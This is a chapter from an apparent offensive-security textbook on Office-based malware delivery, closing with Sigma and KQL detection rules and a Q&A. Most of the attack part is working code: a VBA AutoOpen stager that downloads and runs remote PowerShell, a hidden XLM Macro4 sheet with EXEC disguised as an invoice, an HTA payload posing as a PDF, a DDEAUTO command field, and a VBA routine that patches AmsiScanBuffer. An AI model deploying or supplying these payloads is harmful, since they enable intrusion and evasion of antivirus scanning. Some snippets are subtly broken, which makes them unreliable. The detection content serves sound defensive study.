Chapter 188

Macro and Office-Based Malware

Office documents have been the primary malware delivery vehicle for two decades because they combine trust (users expect to open documents), capability (VBA, COM, DDE, XLM), and ubiquity. Microsoft's 2022 decision to block internet-sourced macros by default transformed the landscape — VBA attacks now require either MOTW bypass, internal network delivery, or pivoting to alternative Office attack surfaces (XLM Macro4, OneNote, DDE). Detection engineering for Office-based threats must cover all these surfaces simultaneously.

Scenario

Your target organization has blocked VBA macros from internet-origin documents via GPO. They have not updated their XLM Macro4 policy, and employees regularly share .xlsb files internally. You need a macro-based stager that executes from an internally-forwarded document, drops a PowerShell stager, and exits quietly without triggering AMSI in the Office VBA engine.

VBA Macro Execution Chain

VBA EXECUTION MODEL ═══════════════════════════════════════════════════════════════════════ User opens doc → AutoOpen() / Workbook_Open() fires │ ↓ VBA calls Shell() / WScript.Shell.Run() / CreateObject("Scripting.FileSystemObject") OR P/Invoke via CallWindowProc trick (shellcode execution) OR CreateObject("WScript.Shell").Run "powershell ..." │ ↓ AMSI scans the VBA before execution (Office 365 / 2019+) │ ↓ (if AMSI not bypassed) WINWORD.EXE spawns POWERSHELL.EXE (parent-child = high-fidelity detection) ═══════════════════════════════════════════════════════════════════════
' Minimal VBA stager: drops a PowerShell script and executes it
' AutoOpen fires when document is opened. Document must NOT be internet-sourced
' (MOTW ZoneId=3) or user must click "Enable Content" on older Office builds.

Sub AutoOpen()
    Dim wsh As Object
    Dim pscmd As String

    ' Write stager to temp path
    Dim fso As Object
    fso = CreateObject("Scripting.FileSystemObject")
    Dim f As Object
    f = fso.OpenTextFile(Environ("TEMP") & "\svc.ps1", 2, True)
    f.Write "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/s')"
    f.Close()

    ' Execute hidden
    wsh = CreateObject("WScript.Shell")
    wsh.Run "powershell -ep bypass -w hidden -f %TEMP%\svc.ps1", 0, False
End Sub

XLM Macro4 Abuse

XLM Macro4 is a 30-year-old Excel macro format that predates VBA. It is defined in hidden sheets (sheet type Excel4MacroSheets) and executes directly in the Excel calculation engine — bypassing AMSI in many configurations because AMSI for XLM was added late and enforcement is inconsistent. XLM cells can call EXEC() and FORMULA() to execute shell commands.

; XLM Macro4 cells in a hidden sheet named "Macro1"
; Cell A1: auto_open label — Excel executes this on open
; EXEC() spawns a process; RETURN() ends macro
; Cells are referenced by name A1,A2,... forming a chain

=EXEC("cmd /c powershell -ep bypass -nop -w hidden -enc ")
=RETURN()

; Create hidden Macro4 sheet via OpenXML manipulation:
; xlsb format: xl/macrosheets/sheet1.xml
; sheet type attribute: s:t="macrosheet" (hidden via xl/workbook.xml sheetsHidden)
; Cells with EXEC formula do not appear in VBA editor — evades basic inspection

; PowerShell to create .xlsb with hidden Macro4 sheet (simplified concept):
$excel = New-Object -ComObject Excel.Application
$excel.Visible = $false
$wb = $excel.Workbooks.Add()
$ws = $wb.Excel4MacroSheets.Add()
$ws.Name = "Sheet1"
$ws.Visible = [Microsoft.Office.Interop.Excel.XlSheetVisibility]::xlSheetHidden
$ws.Cells.Item(1,1).Formula = "=EXEC(""cmd /c calc.exe"")"
$ws.Cells.Item(2,1).Formula = "=RETURN()"
$wb.Names.Add("auto_open", "=Sheet1!R1C1")
$wb.SaveAs("C:\Temp\Invoice.xlsb", 50)  # xlExcel12

OneNote .one Embedded Attachments

; OneNote .one files can embed arbitrary attachments (EXE, HTA, BAT, CMD).
; When the user double-clicks the embedded file icon in OneNote,
; Windows extracts it to %LOCALAPPDATA%\Packages\...\Temp and executes it.
; Pre-2023: files executed without MOTW warning.
; Post-patch: OneNote warns "This file may be unsafe" for executables.
; Common bypass: embed a script disguised as PDF/image icon, rename to .hta.

; Craft via Python: python-onenote or direct binary format manipulation
; The .one format: FileDataStoreObject contains base64 payload
; GUID identifies embedded file; display name set to "Document_Preview.pdf"
; Actual extension: .hta

; HTA payload executed by mshta.exe (signed, bypasses app allowlisting sometimes):
<html><head><hta:application showInTaskbar="no"/></head>
<body>
<script language="VBScript">
  Dim wsh
  Set wsh = CreateObject("WScript.Shell")
  wsh.Run "powershell -ep bypass -w hidden -enc " & "", 0
  Self.Close
</script>
</body></html>

DDE Command Injection

; Dynamic Data Exchange (DDE): old IPC mechanism in Word/Excel.
; A field can reference a DDE server — Word executes it to refresh data.
; No macro required. Field inserted via Ctrl+F9 → { DDEAUTO ... }

; In Word document field:
{ DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -ep bypass -w hidden -enc " }

; On document open, Word shows "This document contains links that may refer to other
; files. Do you want to update this document with the data from the linked files?"
; If user clicks Yes → cmd.exe spawns with arguments.
; Detection: winword.exe → cmd.exe → powershell.exe parent-child chain
; Microsoft disabled DDE auto-update by default in 2017 after Fancy Bear campaigns.
; Registry: HKCU\Software\Microsoft\Office\\Word\Security\AllowDDE = 0

VBA AMSI Bypass via COM Interface Patching

' AMSI in Office processes is implemented in VBE7.DLL.
' The AMSI scan hook is called before each VBA function executes.
' Bypass: locate AmsiScanBuffer in memory from VBA, overwrite with RET instruction.
' This is the same concept as PowerShell AMSI bypass but from within VBA.

' Note: requires administrative or medium IL — works in normal VBA context
' because it patches the calling process's own memory.

Sub BypassAmsi()
    Dim hAmsi As Long
    hAmsi = GetModuleHandle("amsi.dll")
    Dim pScan As Long
    pScan = GetProcAddress(hAmsi, "AmsiScanBuffer")

    Dim patch(0) As Byte
    patch(0) = &H75  ' patching JZ → JNZ so clean result always returned
    Dim oldProtect As Long
    VirtualProtect pScan, 1, PAGE_EXECUTE_READWRITE, oldProtect
    CopyMemory pScan, patch(0), 1
    VirtualProtect pScan, 1, oldProtect, oldProtect
End Sub

' Declare required Win32 APIs in module header:
' Private Declare PtrSafe Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As LongPtr
' Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
' Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
' Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As Long, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long

Detection Engineering

title: Office Process Spawns Script Interpreter
logsource:
  product: windows
  category: process_creation
detection:
  office_parent:
    ParentImage|endswith:
      - '\WINWORD.EXE'
      - '\EXCEL.EXE'
      - '\OUTLOOK.EXE'
      - '\ONENOTE.EXE'
  script_child:
    Image|endswith:
      - '\powershell.exe'
      - '\cmd.exe'
      - '\wscript.exe'
      - '\mshta.exe'
      - '\cscript.exe'
  condition: office_parent and script_child
level: high
tags: [attack.execution, T1137, T1059.001]

title: XLM Macro4 Sheet Execution (AMSI Log)
logsource:
  product: windows
  service: windefend
detection:
  selection:
    EventID: 1116  # Malware detected
  OR:
    EventID: 1117  # Action taken
  filter_amsi:
    ThreatName|contains: 'XLM4'
  condition: selection
level: critical

-- MDE KQL: Office child process with encoded command
DeviceProcessEvents
| where Timestamp > ago(1d)
| where InitiatingProcessFileName in~ (
    "WINWORD.EXE","EXCEL.EXE","OUTLOOK.EXE","ONENOTE.EXE","MSPUB.EXE")
| where FileName in~ ("powershell.exe","cmd.exe","wscript.exe","mshta.exe")
| where ProcessCommandLine has_any ("-enc", "-e ", "bypass", "downloadstring", "iex")
| project Timestamp, DeviceName, AccountName,
    InitiatingProcessFileName, FileName, ProcessCommandLine

-- MDE KQL: AMSI patch in Office process (memory write to amsi.dll)
DeviceEvents
| where ActionType == "AmsiScriptDetection"
| where InitiatingProcessFileName in~ ("WINWORD.EXE","EXCEL.EXE")
| project Timestamp, DeviceName, InitiatingProcessFileName,
    AdditionalFields

Q&A

Microsoft blocked internet-sourced macros by default in 2022. Why does this not end the VBA threat, and what are the remaining viable delivery paths?

Microsoft's 2022 change blocks VBA macro execution in documents with ZoneId=3 (Mark-of-the-Web — set on files downloaded from the internet or received as email attachments). When such a document is opened, the "Enable Content" button is grayed out entirely. This eliminates the most common commodity malware path: phishing email → macro-enabled Word doc → user clicks Enable Content.

The remaining viable delivery paths are: (1) Internal delivery: if an attacker already has a foothold in the network (or compromises a file share/SharePoint), documents originating internally do not have MOTW and macros run without restriction. This is relevant for lateral movement and supply chain scenarios. (2) MOTW bypass containers: as covered in ch187, ISO/VHD containers may not propagate MOTW to contents on unpatched systems, allowing the document inside to run macros. (3) Trusted Location: files in folders designated as Office Trusted Locations execute macros regardless of MOTW. If an attacker can write to a trusted location (e.g., a shared drive), they can plant macros. (4) Alternative Office attack surfaces: XLM Macro4 (AMSI coverage inconsistent), OneNote embedded files, and DDE are not controlled by the same policy switch and remain viable on many enterprise configurations that have not explicitly disabled them. (5) Signed macros with trusted publisher: if an attacker obtains a code signing certificate (stolen, purchased fraudulently, or from a compromised CA), they can sign macros and bypass the block — Office trusts macros from publishers in the Trusted Publishers store. The 2022 policy changed the game for commodity phishing but did not eliminate the threat for targeted attacks with access to alternative vectors.